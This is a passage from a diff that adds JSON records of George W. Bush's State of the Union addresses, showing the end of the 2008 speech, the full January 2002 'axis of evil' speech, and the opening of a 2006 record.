of\nmedical researchers and empower them to discover new treatments while\nrespecting moral boundaries. In November, we witnessed a landmark achievement\nwhen scientists discovered a way to reprogram adult skin cells to act like\nembryonic stem cells. This breakthrough has the potential to move us beyond\nthe divisive debates of the past by extending the frontiers of medicine\nwithout the destruction of human life. So we are expanding funding for this\ntype of ethical medical research. And as we explore promising avenues of\nresearch, we must also ensure that all life is treated with the dignity it\ndeserves. So I call on the Congress to pass legislation that bans unethical\npractices such as the buying, selling, patenting, or cloning of human life.On matters of justice, we must trust in the wisdom of our Founders and empower\njudges who understand that the Constitution means what it says. I have\nsubmitted judicial nominees who will rule by the letter of the law, not the\nwhim of the gavel. Many of these nominees are being unfairly delayed. They are\nworthy of confirmation, and the Senate should give each of them a prompt\nup-or-down vote.In communities across our land, we must trust in the good heart of the\nAmerican people and empower them to serve their neighbors in need. Over the\npast seven years, more of our fellow citizens have discovered that the pursuit\nof happiness leads to the path of service. Americans have volunteered in\nrecord numbers. Charitable donations are higher than ever. Faith-based groups\nare bringing hope to pockets of despair, with newfound support from the\nfederal government. And to help guarantee equal treatment for faith-based\norganizations when they compete for federal funds, I ask you to permanently\nextend Charitable Choice.Tonight the armies of compassion continue the march to a new day in the Gulf\nCoast. America honors the strength and resilience of the people of this\nregion. We reaffirm our pledge to help them build stronger and better than\nbefore. And tonight I am pleased to announce that in April we will host this\nyears North American Summit of Canada, Mexico, and the United States in the\ngreat city of New Orleans.There are two other pressing challenges that I have raised repeatedly before\nthis body, and that this body has failed to address: entitlement spending and\nimmigration.Every Member in this chamber knows that spending on entitlement programs like\nSocial Security, Medicare, and Medicaid is growing faster than we can afford.\nAnd we all know the painful choices ahead if America stays on this path:\nmassive tax increases, sudden and drastic cuts in benefits, or crippling\ndeficits. I have laid out proposals to reform these programs. Now I ask\nmembers of Congress to offer your proposals and come up with a bipartisan\nsolution to save these vital programs for our children and grandchildren.The other pressing challenge is immigration. America needs to secure our\nborders  and with your help, my administration is taking steps to do so. We\nare increasing work site enforcement, we are deploying fences and advanced\ntechnologies to stop illegal crossings, we have effectively ended the policy\nof \"catch and release\" at the border, and by the end of this year, we will\nhave doubled the number of border patrol agents. Yet we also need to\nacknowledge that we will never fully secure our border until we create a\nlawful way for foreign workers to come here and support our economy. This will\ntake pressure off the border and allow law enforcement to concentrate on those\nwho mean us harm. We must also find a sensible and humane way to deal with\npeople here illegally. Illegal immigration is complicated, but it can be\nresolved. And it must be resolved in a way that upholds both our laws and our\nhighest ideals.This is the business of our nation here at home. Yet building a prosperous\nfuture for our citizens also depends on confronting enemies abroad and\nadvancing liberty in troubled regions of the world.Our foreign policy is based on a clear premise: We trust that people, when\ngiven the chance, will choose a future of freedom and peace. In the last seven\nyears, we have witnessed stirring moments in the history of liberty. We have\nseen citizens in Georgia and Ukraine stand up for their right to free and fair\nelections. We have seen people in Lebanon take to the streets to demand their\nindependence. We have seen Afghans emerge from the tyranny of the Taliban to\nchoose a new president and a new parliament. We have seen jubilant Iraqis\nholding up ink-stained fingers and celebrating their freedom. And these images\nof liberty have inspired us.In the past seven years, we have also seen images that have sobered us. We\nhave watched throngs of mourners in Lebanon and Pakistan carrying the caskets\nof beloved leaders taken by the assassins hand. We have seen wedding guests in\nblood-soaked finery staggering from a hotel in Jordan, Afghans and Iraqis\nblown up in mosques and markets, and trains in London and Madrid ripped apart\nby bombs. And on a clear September day, we saw thousands of our fellow\ncitizens taken from us in an instant. These horrific images serve as a grim\nreminder: The advance of liberty is opposed by terrorists and extremists  evil\nmen who despise freedom, despise America, and aim to subject millions to their\nviolent rule.Since September 11, we have taken the fight to these terrorists and\nextremists. We will stay on the offense, we will keep up the pressure, and we\nwill deliver justice to the enemies of America.We are engaged in the defining ideological struggle of the 21st century. The\nterrorists oppose every principle of humanity and decency that we hold dear.\nYet in this war on terror, there is one thing we and our enemies agree on: In\nthe long run, men and women who are free to determine their own destinies will\nreject terror and refuse to live in tyranny. That is why the terrorists are\nfighting to deny this choice to people in Lebanon,Iraq, Afghanistan, Pakistan, and the Palestinian Territories. And that is why,\nfor the security of America and the peace of the world, we are spreading the\nhope of freedom.In Afghanistan, America, our 25 NATO allies, and 15 partner nations are\nhelping the Afghan people defend their freedom and rebuild their country.\nThanks to the courage of these military and civilian personnel, a nation that\nwas once a safe haven for Al Qaeda is now a young democracy where boys and\ngirls are going to school, new roads and hospitals are being built, and people\nare looking to the future with new hope. These successes must continue, so we\nare adding 3,200 Marines to our forces in Afghanistan, where they will fight\nthe terrorists and train the Afghan Army and police. Defeating the Taliban and\nAl Qaeda is critical to our security, and I thank the Congress for supporting\nAmericas vital mission in Afghanistan.In Iraq, the terrorists and extremists are fighting to deny a proud people\ntheir liberty and to establish safe havens for attacks across the world. One\nyear ago, our enemies were succeeding in their efforts to plunge Iraq into\nchaos. So we reviewed our strategy and changed course. We launched a surge of\nAmerican forces into Iraq. And we gave our troops a new mission: Work with\nIraqi forces to protect the Iraqi people, pursue the enemy in its strongholds,\nand deny the terrorists sanctuary anywhere in the country.The Iraqi people quickly realized that something dramatic had happened. Those\nwho had worried that America was preparing to abandon them instead saw tens of\nthousands of American forces flowing into their country. They saw our forces\nmoving into neighborhoods, clearing out the terrorists, and staying behind to\nensure the enemy did not return. And they saw our troops, along with\nprovincial reconstruction teams that include foreign service officers and\nother skilled public servants, coming in to ensure that improved security was\nfollowed by improvements in daily life. Our military and civilians in Iraq are\nperforming with courage and distinction, and they have the gratitude of our\nwhole nation.The Iraqis launched a surge of their own. In the fall of 2006, Sunni tribal\nleaders grew tired of Al Qaedas brutality and started a popular uprising\ncalled \"the Anbar Awakening.\" Over the past year, similar movements have\nspread across the country. And today, this grass-roots surge includes more\nthan 80,000 Iraqi citizens who are fighting the terrorists. The government in\nBaghdad has stepped forward as well  adding more than 100,000 new Iraqi\nsoldiers and police during the past year.While the enemy is still dangerous and more work remains, the American and\nIraqi surges have achieved results few of us could have imagined just one year\nago:When we met last year, many said containing the violence was impossible. A\nyear later, high profile terrorist attacks are down, civilian deaths are down,\nand sectarian killings are down.When we met last year, militia extremists  some armed and trained by Iran \nwere wreaking havoc in large areas of Iraq. A year later, coalition and Iraqi\nforces have killed or captured hundreds of militia fighters. And Iraqis of all\nbackgrounds increasingly realize that defeating these militia fighters is\ncritical to the future of their country.When we met last year, Al Qaeda had sanctuaries in many areas of Iraq, and\ntheir leaders had just offered American forces safe passage out of the\ncountry. Today, it is Al Qaeda that is searching for safe passage. They have\nbeen driven from many of the strongholds they once held, and over the past\nyear, we have captured or killed thousands of extremists in Iraq, including\nhundreds of key Al Qaeda leaders and operatives. Last month, Osama bin Laden\nreleased a tape in which he railed against Iraqi tribal leaders who have\nturned on Al Qaeda and admitted that Coalition forces are growing stronger in\nIraq. Ladies and gentlemen, some may deny the surge is working, but among the\nterrorists there is no doubt. Al Qaeda is on the run in Iraq, and this enemy\nwill be defeated.When we met last year, our troop levels in Iraq were on the rise. Today,\nbecause of the progress just described, we are implementing a policy of\n\"return on success,\" and the surge forces we sent to Iraq are beginning to\ncome home.This progress is a credit to the valor of our troops and the brilliance of\ntheir commanders. This evening, I want to speak directly to our men and women\non the front lines. Soldiers, sailors, airmen, marines, and coast guardsmen:\nIn the past year, you have done everything we have asked of you, and more. Our\nnation is grateful for your courage. We are proud of your accomplishments. And\ntonight in this hallowed chamber, with the American people as our witness, we\nmake you a solemn pledge: In the fight ahead, you will have all you need to\nprotect our nation. And I ask the Congress to meet its responsibilities to\nthese brave men and women by fully funding our troops.Our enemies in Iraq have been hit hard. They are not yet defeated, and we can\nstill expect tough fighting ahead. Our objective in the coming year is to\nsustain and build on the gains we made in 2007, while transitioning to the\nnext phase of our strategy. American troops are shifting from leading\noperations, to partnering with Iraqi forces, and, eventually, to a protective\noverwatch mission. As part of this transition, one Army brigade combat team\nand one Marine Expeditionary Unit have already come home and will not be\nreplaced. In the coming months, four additional brigades and two Marine\nbattalions will follow suit. Taken together, this means more than 20,000 of\nour troops are coming home.Any further drawdown of U.S. troops will be based on conditions in Iraq and\nthe recommendations of our commanders. General Petraeus has warned that too\nfast a drawdown could result in the \"disintegration of the Iraqi Security\nForces, Al Qaeda-Iraq regaining lost ground, [and] a marked increase in\nviolence.\" Members of Congress: Having come so far and achieved so much, we\nmust not allow this to happen.In the coming year, we will work with Iraqi leaders as they build on the\nprogress they are making toward political reconciliation. At the local level,\nSunnis, Shia and Kurds are beginning to come together to reclaim their\ncommunities and rebuild their lives. Progress in the provinces must be matched\nby progress in Baghdad. And we are seeing some encouraging signs. The national\ngovernment is sharing oil revenues with the provinces. The parliament recently\npassed both a pension law and de-Baathification reform. Now they are debating\na provincial powers law. The Iraqis still have a distance to travel. But after\ndecades of dictatorship and the pain of sectarian violence, reconciliation is\ntaking place  and the Iraqi people are taking control of their future.The mission in Iraq has been difficult and trying for our nation. But it is in\nthe vital interest of the United States that we succeed. A free Iraq will deny\nAl Qaeda a safe haven. A free Iraq will show millions across the Middle East\nthat a future of liberty is possible. And a free Iraq will be a friend of\nAmerica, a partner in fighting terror, and a source of stability in a\ndangerous part of the world.By contrast, a failed Iraq would embolden extremists, strengthen Iran, and\ngive terrorists a base from which to launch new attacks on our friends, our\nallies, and our homeland. The enemy has made its intentions clear. At a time\nwhen the momentum seemed to favor them, Al Qaedas top commander in Iraq\ndeclared that they will not rest until they have attacked us here in\nWashington. My fellow Americans: We will not rest either. We will not rest\nuntil this enemy has been defeated. We must do the difficult work today, so\nthat years from now people will look back and say that this generation rose to\nthe moment, prevailed in a tough fight, and left behind a more hopeful region\nand a safer America.We are also standing against the forces of extremism in the Holy Land, where\nwe have new cause for hope. Palestinians have elected a president who\nrecognizes that confronting terror is essential to achieving a state where his\npeople can live in dignity and at peace with Israel. Israelis have leaders who\nrecognize that a peaceful, democratic Palestinian state will be a source of\nlasting security. This month in Ramallah and Jerusalem, I assured leaders from\nboth sides that America will do, and I will do, everything we can to help them\nachieve a peace agreement that defines a Palestinian state by the end of this\nyear. The time has come for a Holy Land where a democratic Israel and a\ndemocratic Palestine live side-by-side in peace.We are also standing against the forces of extremism embodied by the regime in\nTehran. Irans rulers oppress a good and talented people. And wherever freedom\nadvances in the Middle East, it seems the Iranian regime is there to oppose\nit. Iran is funding and training militia groups in Iraq, supporting Hezbollah\nterrorists in Lebanon, and backing Hamas efforts to undermine peace in the\nHoly Land. Tehran is also developing ballistic missiles of increasing range\nand continues to develop its capability to enrich uranium, which could be used\nto create a nuclear weapon. Our message to the people of Iran is clear: We\nhave no quarrel with you, we respect your traditions and your history, and we\nlook forward to the day when you have your freedom. Our message to the leaders\nof Iran is also clear: Verifiably suspend your nuclear enrichment, so\nnegotiations can begin. And to rejoin the community of nations, come clean\nabout your nuclear intentions and past actions, stop your oppression at home,\nand cease your support for terror abroad. But above all, know this: America\nwill confront those who threaten our troops, we will stand by our allies, and\nwe will defend our vital interests in the Persian Gulf.On the home front, we will continue to take every lawful and effective measure\nto protect our country. This is our most solemn duty. We are grateful that\nthere has not been another attack on our soil since September 11. This is not\nfor a lack of desire or effort on the part of the enemy. In the past six\nyears, we have stopped numerous attacks, including a plot to fly a plane into\nthe tallest building in Los Angeles and another to blow up passenger jets\nbound for America over the Atlantic. Dedicated men and women in our government\ntoil day and night to stop the terrorists from carrying out their plans. These\ngood citizens are saving American lives, and everyone in this chamber owes\nthem our thanks. And we owe them something more: We owe them the tools they\nneed to keep our people safe.One of the most important tools we can give them is the ability to monitor\nterrorist communications. To protect America, we need to know who the\nterrorists are talking to, what they are saying, and what they are planning.\nLast year, the Congress passed legislation to help us do that. Unfortunately,\nthe Congress set the legislation to expire on February 1. This means that if\nyou do not act by Friday, our ability to track terrorist threats would be\nweakened and our citizens will be in greater danger. The Congress must ensure\nthe flow of vital intelligence is not disrupted. The Congress must pass\nliability protection for companies believed to have assisted in the efforts to\ndefend America. We have had ample time for debate. The time to act is now.Protecting our nation from the dangers of a new century requires more than\ngood intelligence and a strong military. It also requires changing the\nconditions that breed resentment and allow extremists to prey on despair. So\nAmerica is using its influence to build a freer, more hopeful, and more\ncompassionate world. This is a reflection of our national interest and the\ncalling of our conscience.America is opposing genocide in Sudan and supporting freedom in countries from\nCuba and Zimbabwe to Belarus and Burma.America is leading the fight against global poverty, with strong education\ninitiatives and humanitarian assistance. We have also changed the way we\ndeliver aid by launching the Millennium Challenge Account. This program\nstrengthens democracy, transparency, and the rule of law in developing\nnations, and I ask you to fully fund this important initiative.America is leading the fight against global hunger. Today, more than half the\nworlds food aid comes from the United States. And tonight, I ask the Congress\nto support an innovative proposal to provide food assistance by purchasing\ncrops directly from farmers in the developing world, so we can build up local\nagriculture and help break the cycle of famine.America is leading the fight against disease. With your help, we are working\nto cut by half the number of malaria-related deaths in 15 African nations. And\nour Emergency Plan for AIDS Relief is treating 1.4 million people. We can\nbring healing and hope to many more. So I ask you to maintain the principles\nthat have changed behavior and made this program a success. And I call on you\nto double our initial commitment to fighting HIV/AIDS by approving an\nadditional $30 billion over the next 5 years.America is a force for hope in the world because we are a compassionate\npeople, and some of the most compassionate Americans are those who have\nstepped forward to protect us. We must keep faith with all who have risked\nlife and limb so that we might live in freedom and peace. Over the past seven\nyears, we have increased funding for veterans by more than 95 percent. As we\nincrease funding, we must also reform our veterans system to meet the needs of\na new war and a new generation. I call on the Congress to enact the reforms\nrecommended by Senator Bob Dole and Secretary Donna Shalala, so we can improve\nthe system of care for our wounded warriors and help them build lives of hope,\npromise, and dignity.Our military families also sacrifice for America. They endure sleepless nights\nand the daily struggle of providing for children while a loved one is serving\nfar from home. We have a responsibility to provide for them. So I ask you to\njoin me in expanding their access to child care, creating new hiring\npreferences for military spouses across the federal government, and allowing\nour troops to transfer their unused education benefits to their spouses or\nchildren. Our military families serve our nation, they inspire our nation, and\ntonight our nation honors them.The secret of our strength, the miracle of America, is that our greatness lies\nnot in our government, but in the spirit and determination of our people. When\nthe Federal Convention met in Philadelphia in 1787, our nation was bound by\nthe Articles of Confederation, which began with the words, \"We the undersigned\ndelegates.\" When Gouverneur Morris was asked to draft the preamble to our new\nConstitution, he offered an important revision and opened with words that\nchanged the course of our nation and the history of the world: \"We the\npeople.\"By trusting the people, our Founders wagered that a great and noble nation\ncould be built on the liberty that resides in the hearts of all men and women.\nBy trusting the people, succeeding generations transformed our fragile young\ndemocracy into the most powerful nation on earth and a beacon of hope for\nmillions. And so long as we continue to trust the people, our nation will\nprosper, our liberty will be secure, and the State of our Union will remain\nstrong. So tonight, with confidence in freedoms power, and trust in the\npeople, let us set forth to do their business.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 29, 2002", 
+    "speech": "Thank you very much. Mr. Speaker, Vice President Cheney, Members of Congress,\ndistinguished guests, fellow citizens: As we gather tonight, our Nation is at\nwar; our economy is in recession; and the civilized world faces unprecedented\ndangers. Yet, the state of our Union has never been stronger.We last met in an hour of shock and suffering. In 4 short months, our Nation has\ncomforted the victims, begun to rebuild New York and the Pentagon, rallied a\ngreat coalition, captured, arrested, and rid the world of thousands of\nterrorists, destroyed Afghanistan's terrorist training camps, saved a people\nfrom starvation, and freed a country from brutal oppression.The American flag flies again over our Embassy in Kabul. Terrorists who once\noccupied Afghanistan now occupy cells at Guantanamo Bay. And terrorist leaders\nwho urged followers to sacrifice their lives are running for their own.America and Afghanistan are now allies against terror. We'll be partners in\nrebuilding that country. And this evening we welcomed the distinguished interim\nleader of a liberated Afghanistan, Chairman Hamid Karzai.The last time we met in this Chamber, the mothers and daughters of Afghanistan\nwere captives in their own homes, forbidden from working or going to school.\nToday women are free and are part of Afghanistan's new Government. And we\nwelcome the new Minister of Women's Affairs, Dr. Sima Samar.Our progress is a tribute to the spirit of the Afghan people, to the resolve of\nour coalition, and to the might of the United States military. When I called our\ntroops into action, I did so with complete confidence in their courage and\nskill. And tonight, thanks to them, we are winning the war on terror. The men\nand women of our Armed Forces have delivered a message now clear to every enemy\nof the United States: Even 7,000 miles away, across oceans and continents, on\nmountaintops and in caves, you will not escape the justice of this Nation.For many Americans, these 4 months have brought sorrow and pain that will never\ncompletely go away. Every day a retired firefighter returns to Ground Zero to\nfeel closer to his two sons who died there. At a memorial in New York, a little\nboy left his football with a note for his lost father: \"Dear Daddy, please take\nthis to heaven. I don't want to play football until I can play with you again\nsome day.\" Last month, at the grave of her husband, Micheal, a CIA officer and\nmarine who died in Mazar-e-Sharif, Shannon Spann said these words of farewell,\n\"Semper Fi, my love.\" Shannon is with us tonight. Shannon, I assure you and\nall who have lost a loved one that our cause is just, and our country will never\nforget the debt we owe Michael and all who gave their lives for freedom.Our cause is just, and it continues. Our discoveries in Afghanistan confirmed\nour worst fears and showed us the true scope of the task ahead. We have seen the\ndepth of our enemies' hatred in videos where they laugh about the loss of\ninnocent life. And the depth of their hatred is equaled by the madness of the\ndestruction they design. We have found diagrams of American nuclear powerplants\nand public water facilities, detailed instructions for making chemical weapons,\nsurveillance maps of American cities, and thorough descriptions of landmarks in\nAmerica and throughout the world.What we have found in Afghanistan confirms that, far from ending there, our war\nagainst terror is only beginning. Most of the 19 men who hijacked planes on\nSeptember the 11th were trained in Afghanistan's camps, and so were tens of\nthousands of others. Thousands of dangerous killers, schooled in the methods of\nmurder, often supported by outlaw regimes, are now spread throughout the world\nlike ticking timebombs, set to go off without warning.Thanks to the work of our law enforcement officials and coalition partners,\nhundreds of terrorists have been arrested. Yet, tens of thousands of trained\nterrorists are still at large. These enemies view the entire world as a\nbattlefield, and we must pursue them wherever they are. So long as training\ncamps operate, so long as nations harbor terrorists, freedom is at risk. And\nAmerica and our allies must not and will not allow it.Our Nation will continue to be steadfast and patient and persistent in the\npursuit of two great objectives. First, we will shut down terrorist camps,\ndisrupt terrorist plans, and bring terrorists to justice. And second, we must\nprevent the terrorists and regimes who seek chemical, biological, or nuclear\nweapons from threatening the United States and the world.Our military has put the terror training camps of Afghanistan out of business,\nyet camps still exist in at least a dozen countries. A terrorist underworld,\nincluding groups like Hamas, Hizballah, Islamic Jihad, Jaish-e-Mohammed,\noperates in remote jungles and deserts and hides in the centers of large cities.While the most visible military action is in Afghanistan, America is acting\nelsewhere. We now have troops in the Philippines, helping to train that\ncountry's armed forces to go after terrorist cells that have executed an\nAmerican and still hold hostages. Our soldiers, working with the Bosnian\nGovernment, seized terrorists who were plotting to bomb our Embassy. Our Navy is\npatrolling the coast of Africa to block the shipment of weapons and the\nestablishment of terrorist camps in Somalia.My hope is that all nations will heed our call and eliminate the terrorist\nparasites who threaten their countries and our own. Many nations are acting\nforcefully. Pakistan is now cracking down on terror, and I admire the strong\nleadership of President Musharraf. But some governments will be timid in the\nface of terror. And make no mistake about it: If they do not act, America will.Our second goal is to prevent regimes that sponsor terror from threatening\nAmerica or our friends and allies with weapons of mass destruction. Some of\nthese regimes have been pretty quiet since September the 11th, but we know their\ntrue nature.North Korea is a regime arming with missiles and weapons of mass destruction,\nwhile starving its citizens.Iran aggressively pursues these weapons and exports terror, while an unelected\nfew repress the Iranian people's hope for freedom.Iraq continues to flaunt its hostility toward America and to support terror. The\nIraqi regime has plotted to develop anthrax and nerve gas and nuclear weapons\nfor over a decade. This is a regime that has already used poison gas to murder\nthousands of its own citizens, leaving the bodies of mothers huddled over their\ndead children. This is a regime that agreed to international inspections, then\nkicked out the inspectors. This is a regime that has something to hide from the\ncivilized world.States like these and their terrorist allies constitute an axis of evil, arming\nto threaten the peace of the world. By seeking weapons of mass destruction,\nthese regimes pose a grave and growing danger. They could provide these arms to\nterrorists, giving them the means to match their hatred. They could attack our\nallies or attempt to blackmail the United States. In any of these cases, the\nprice of indifference would be catastrophic.We will work closely with our coalition to deny terrorists and their state\nsponsors the materials, technology, and expertise to make and deliver weapons of\nmass destruction. We will develop and deploy effective missile defenses to\nprotect America and our allies from sudden attack. And all nations should know:\nAmerica will do what is necessary to ensure our Nation's security.We'll be deliberate; yet, time is not on our side. I will not wait on events\nwhile dangers gather. I will not stand by as peril draws closer and closer. The\nUnited States of America will not permit the world's most dangerous regimes to\nthreaten us with the world's most destructive weapons.Our war on terror is well begun, but it is only begun. This campaign may not be\nfinished on our watch; yet, it must be and it will be waged on our watch. We\ncan't stop short. If we stop now, leaving terror camps intact and terrorist\nstates unchecked, our sense of security would be false and temporary. History\nhas called America and our allies to action, and it is both our responsibility\nand our privilege to fight freedom's fight.Our first priority must always be the security of our Nation, and that will be\nreflected in the budget I send to Congress. My budget supports three great goals\nfor America: We will win this war; we will protect our homeland; and we will\nrevive our economy.September the 11th brought out the best in America and the best in this\nCongress. And I join the American people in applauding your unity and resolve.\nNow Americans deserve to have this same spirit directed toward addressing\nproblems here at home. I'm a proud member of my party. Yet as we act to win the\nwar, protect our people, and create jobs in America, we must act, first and\nforemost, not as Republicans, not as Democrats but as Americans.It costs a lot to fight this war. We have spent more than a billion dollars a\nmonth, over $30 million a day, and we must be prepared for future operations.\nAfghanistan proved that expensive precision weapons defeat the enemy and spare\ninnocent lives, and we need more of them. We need to replace aging aircraft and\nmake our military more agile to put our troops anywhere in the world quickly and\nsafely. Our men and women in uniform deserve the best weapons, the best\nequipment, the best training, and they also deserve another pay raise.My budget includes the largest increase in defense spending in two decades,\nbecause while the price of freedom and security is high, it is never too high.\nWhatever it costs to defend our country, we will pay.The next priority of my budget is to do everything possible to protect our\ncitizens and strengthen our Nation against the ongoing threat of another attack.\nTime and distance from the events of September the 11th will not make us safer\nunless we act on its lessons. America is no longer protected by vast oceans. We\nare protected from attack only by vigorous action abroad and increased vigilance\nat home.My budget nearly doubles funding for a sustained strategy of homeland security,\nfocused on four key areas: bioterrorism, emergency response, airport and border\nsecurity, and improved intelligence. We will develop vaccines to fight anthrax\nand other deadly diseases. We'll increase funding to help States and communities\ntrain and equip our heroic police and firefighters. We will improve intelligence\ncollection and sharing, expand patrols at our borders, strengthen the security\nof air travel, and use technology to track the arrivals and departures of\nvisitors to the United States.Homeland security will make America not only stronger but, in many ways, better.\nKnowledge gained from bioterrorism research will improve public health. Stronger\npolice and fire departments will mean safer neighborhoods. Stricter border\nenforcement will help combat illegal drugs. And as government works to better\nsecure our homeland, America will continue to depend on the eyes and ears of\nalert citizens.A few days before Christmas, an airline flight attendant spotted a passenger\nlighting a match. The crew and passengers quickly subdued the man, who had been\ntrained by Al Qaida and was armed with explosives. The people on that plane were\nalert and, as a result, likely saved nearly 200 lives. And tonight we welcome\nand thank flight attendants Hermis Moutardier and Christina Jones.Once we have funded our national security and our homeland security, the final\ngreat priority of my budget is economic security for the American people. To\nachieve these great national objectives--to win the war, protect the homeland,\nand revitalize our economy--our budget will run a deficit that will be small and\nshort term, so long as Congress restrains spending and acts in a fiscally\nresponsible manner. We have clear priorities, and we must act at home with the\nsame purpose and resolve we have shown overseas. We'll prevail in the war, and\nwe will defeat this recession.Americans who have lost their jobs need our help, and I support extending\nunemployment benefits and direct assistance for health care coverage. Yet,\nAmerican workers want more than unemployment checks; they want a steady\npaycheck. When America works, America prospers, so my economic security plan can\nbe summed up in one word: jobs.Good jobs begin with good schools, and here we've made a fine start. Republicans\nand Democrats worked together to achieve historic education reform so that no\nchild is left behind. I was proud to work with members of both parties: Chairman\nJohn Boehner and Congressman George Miller; Senator Judd Gregg. And I was so\nproud of our work, I even had nice things to say about my friend Ted Kennedy.\n[Laughter] I know the folks at the Crawford coffee shop couldn't believe I'd say\nsuch a thing-- [laughter]--but our work on this bill shows what is possible if\nwe set aside posturing and focus on results.There is more to do. We need to prepare our children to read and succeed in\nschool with improved Head Start and early childhood development programs. We\nmust upgrade our teacher colleges and teacher training and launch a major\nrecruiting drive with a great goal for America, a quality teacher in every\nclassroom.Good jobs also depend on reliable and affordable energy. This Congress must act\nto encourage conservation, promote technology, build infrastructure, and it must\nact to increase energy production at home so America is less dependent on\nforeign oil.Good jobs depend on expanded trade. Selling into new markets creates new jobs,\nso I ask Congress to finally approve trade promotion authority.On these two key issues, trade and energy, the House of Representatives has\nacted to create jobs, and I urge the Senate to pass this legislation.Good jobs depend on sound tax policy. Last year, some in this Hall thought my\ntax relief plan was too small; some thought it was too big. But when the checks\narrived in the mail, most Americans thought tax relief was just about right.\nCongress listened to the people and responded by reducing tax rates, doubling\nthe child credit, and ending the death tax. For the sake of long-term growth and\nto help Americans plan for the future, let's make these tax cuts permanent.The way out of this recession, the way to create jobs, is to grow the economy by\nencouraging investment in factories and equipment and by speeding up tax relief\nso people have more money to spend. For the sake of American workers, let's pass\na stimulus package.Good jobs must be the aim of welfare reform. As we reauthorize these important\nreforms, we must always remember the goal is to reduce dependency on government\nand offer every American the dignity of a job.Americans know economic security can vanish in an instant without health\nsecurity. I ask Congress to join me this year to enact a patients' bill of\nrights, to give uninsured workers credits to help buy health coverage, to\napprove an historic increase in the spending for veterans' health, and to give\nseniors a sound and modern Medicare system that includes coverage for\nprescription drugs.A good job should lead to security in retirement. I ask Congress to enact new\nsafeguards for 401K and pension plans. Employees who have worked hard and saved\nall their lives should not have to risk losing everything if their company\nfails. Through stricter accounting standards and tougher disclosure\nrequirements, corporate America must be made more accountable to employees and\nshareholders and held to the highest standards of conduct.Retirement security also depends upon keeping the commitments of Social\nSecurity, and we will. We must make Social Security financially stable and allow\npersonal retirement accounts for younger workers who choose them.Members, you and I will work together in the months ahead on other issues:\nproductive farm policy; a cleaner environment; broader homeownership, especially\namong minorities; and ways to encourage the good work of charities and\nfaith-based groups. I ask you to join me on these important domestic issues in\nthe same spirit of cooperation we've applied to our war against terrorism.During these last few months, I've been humbled and privileged to see the true\ncharacter of this country in a time of testing. Our enemies believed America was\nweak and materialistic, that we would splinter in fear and selfishness. They\nwere as wrong as they are evil.The American people have responded magnificently, with courage and compassion,\nstrength and resolve. As I have met the heroes, hugged the families, and looked\ninto the tired faces of rescuers, I have stood in awe of the American people.And I hope you will join me--I hope you will join me in expressing thanks to one\nAmerican for the strength and calm and comfort she brings to our Nation in\ncrisis, our First Lady, Laura Bush.None of us would ever wish the evil that was done on September the 11th. Yet,\nafter America was attacked, it was as if our entire country looked into a mirror\nand saw our better selves. We were reminded that we are citizens with\nobligations to each other, to our country, and to history. We began to think\nless of the goods we can accumulate and more about the good we can do.For too long our culture has said, \"If it feels good, do it.\" Now America is\nembracing a new ethic and a new creed, \"Let's roll.\" In the sacrifice of\nsoldiers, the fierce brotherhood of firefighters, and the bravery and generosity\nof ordinary citizens, we have glimpsed what a new culture of responsibility\ncould look like. We want to be a nation that serves goals larger than self.\nWe've been offered a unique opportunity, and we must not let this moment pass.My call tonight is for every American to commit at least 2 years, 4,000 hours\nover the rest of your lifetime, to the service of your neighbors and your\nNation. Many are already serving, and I thank you. If you aren't sure how to\nhelp, I've got a good place to start. To sustain and extend the best that has\nemerged in America, I invite you to join the new USA Freedom Corps. The Freedom\nCorps will focus on three areas of need: responding in case of crisis at home;\nrebuilding our communities; and extending American compassion throughout the\nworld.One purpose of the USA Freedom Corps will be homeland security. America needs\nretired doctors and nurses who can be mobilized in major emergencies, volunteers\nto help police and fire departments, transportation and utility workers\nwell-trained in spotting danger.Our country also needs citizens working to rebuild our communities. We need\nmentors to love children, especially children whose parents are in prison. And\nwe need more talented teachers in troubled schools. USA Freedom Corps will\nexpand and improve the good efforts of AmeriCorps and Senior Corps to recruit\nmore than 200,000 new volunteers.And America needs citizens to extend the compassion of our country to every part\nof the world. So we will renew the promise of the Peace Corps, double its\nvolunteers over the next 5 years, and ask it to join a new effort to encourage\ndevelopment and education and opportunity in the Islamic world.This time of adversity offers a unique moment of opportunity, a moment we must\nseize to change our culture. Through the gathering momentum of millions of acts\nof service and decency and kindness, I know we can overcome evil with greater\ngood.And we have a great opportunity during this time of war to lead the world toward\nthe values that will bring lasting peace. All fathers and mothers, in all\nsocieties, want their children to be educated and live free from poverty and\nviolence. No people on Earth yearn to be oppressed or aspire to servitude or\neagerly await the midnight knock of the secret police. If anyone doubts this,\nlet them look to Afghanistan, where the Islamic \"street\" greeted the fall of\ntyranny with song and celebration. Let the skeptics look to Islam's own rich\nhistory, with its centuries of learning and tolerance and progress. America will\nlead by defending liberty and justice because they are right and true and\nunchanging for all people everywhere.No nation owns these aspirations, and no nation is exempt from them. We have no\nintention of imposing our culture. But America will always stand firm for the\nnonnegotiable demands of human dignity: the rule of law; limits on the power of\nthe state; respect for women; private property; free speech; equal justice; and\nreligious tolerance.America will take the side of brave men and women who advocate these values\naround the world, including the Islamic world, because we have a greater\nobjective than eliminating threats and containing resentment. We seek a just and\npeaceful world beyond the war on terror.In this moment of opportunity, a common danger is erasing old rivalries. America\nis working with Russia and China and India, in ways we have never before, to\nachieve peace and prosperity. In every region, free markets and free trade and\nfree societies are proving their power to lift lives. Together with friends and\nallies from Europe to Asia and Africa to Latin America, we will demonstrate that\nthe forces of terror cannot stop the momentum of freedom.The last time I spoke here, I expressed the hope that life would return to\nnormal. In some ways, it has. In others, it never will. Those of us who have\nlived through these challenging times have been changed by them. We've come to\nknow truths that we will never question: Evil is real, and it must be opposed.\nBeyond all differences of race or creed, we are one country, mourning together\nand facing danger together. Deep in the American character, there is honor, and\nit is stronger than cynicism. And many have discovered again that even in\ntragedy--especially in tragedy--God is near.In a single instant, we realized that this will be a decisive decade in the\nhistory of liberty, that we've been called to a unique role in human events.\nRarely has the world faced a choice more clear or consequential.Our enemies send other people's children on missions of suicide and murder. They\nembrace tyranny and death as a cause and a creed. We stand for a different\nchoice, made long ago on the day of our founding. We affirm it again today. We\nchoose freedom and the dignity of every life.Steadfast in our purpose, we now press on. We have known freedom's price. We\nhave shown freedom's power. And in this great conflict, my fellow Americans, we\nwill see freedom's victory.Thank you all. May God bless.", 
+    "name": "George W. Bush"
+}
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+{
+    "date": "January 31, 2006", 
